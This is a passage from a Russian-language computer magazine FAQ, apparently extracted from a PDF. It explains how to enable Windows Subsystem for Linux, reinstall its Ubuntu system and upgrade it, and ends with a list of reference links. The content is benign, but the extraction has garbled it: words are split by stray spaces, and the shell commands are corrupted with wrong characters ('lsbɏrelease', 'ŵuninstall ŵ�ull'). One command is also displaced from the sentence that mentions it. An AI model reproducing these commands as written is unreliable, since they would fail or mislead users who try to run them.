обо лоч ки bash, zsh, fish и про чие;•
инс тру мен ты раз работ ки: Vim, Emacs, nano, Git, GDB и дру гие;•
язы ки и плат формы: Node.js  и  npm, Ruby и Gems,  Java и Maven,
Python  и  Pip,  C/C++,  C#  и  .NET Core  и  NuGet,  Go,  Rust,  Haskell,
Elixir/Erlang и дру гие;

•

сис темы и сер висы: sshd, Apache, lighttpd, nginx, MySQL, Postgre‐
SQL и их соб ратья.

•

Пол ный  спи сок  новов ведений,  которые  появи лись  пос ле  обновле‐ 
ния, можешь   на сай те Microsoft.пос мотреть

Для  уста нов ки  WSL  нуж но  сде лать  сле дующие  шаги.  Спер ва
вклю чаем режим раз работ чика в Windows.

Вклю чение режима раз работ чика

Те перь  ищем  необ ходимый  ком понент  в  нас трой ках.  Для  это го
в стро ке поис ка вби ваем Windows features.

Ищем Windows features

Опус каем ся  в  самый  низ  и  вклю чаем  пункт Windows  Subsystem  for
Linux (Beta).

Вы бира ем Windows Subsystem for Linux (Beta)

Те перь дело за малым — оста ется уста новить сис тему и про верить,
что  все  работа ет.  Для  это го  нуж но  открыть  кон соль  и  выпол нить
коман ду bash, пос ле чего дож дать ся запус ка.

Ес ли  у  тебя  уже  уста нов лен  Ubuntu  14.04,  но  хочет ся  поновее,
выпол няй  деин стал ляцию,  а  потом  ставь  Linux  заново.  Это  мож но
сде лать из кон соли.

lsbɏrelease ‐a 
lxrun ŵuninstall ŵ�ull ŵy
lxrun ŵinstall

Пер вая  коман да  покажет  тебе  уста нов ленную  вер сию,  вто рая  пол‐ 
ностью  уда лит  все фай лы  под систе мы,  ну  а  третья  уста новит  Linux
заново.  Не  забудь  пред варитель но  перенес ти  свои  дан ные,  если
они были сох ранены внут ри под систе мы.

Как вари ант, можешь на свой страх и риск наб рать в bash коман‐ 
ду  , но резуль тат неп ред ска зуем. Так что
ждем оче ред ных улуч шений, но исполь зовать WSL, что бы иметь дос‐ 
туп к мощ ным ути литам коман дной стро ки и тес тировать сер верный
софт, мож но уже сей час.

sudo do‐release‐upgrade

mailto:faq@glc.ru
mailto:3em0nd@gmail.com
http://dmde.ru/
https://www.piriform.com/recuva
http://www.r-studio.com/ru/
http://foto-doctor.ru/
http://duplicity.nongnu.org/
https://www.linuxspace.org/archives/5608
http://rsnapshot.org/
http://luckybackup.sourceforge.net/
https://www.cheatography.com/davechild/cheat-sheets/subversion/
http://svnbook.red-bean.com/nightly/ru/svn-book.html
https://msdn.microsoft.com/en-us/commandline/wsl/release_notes
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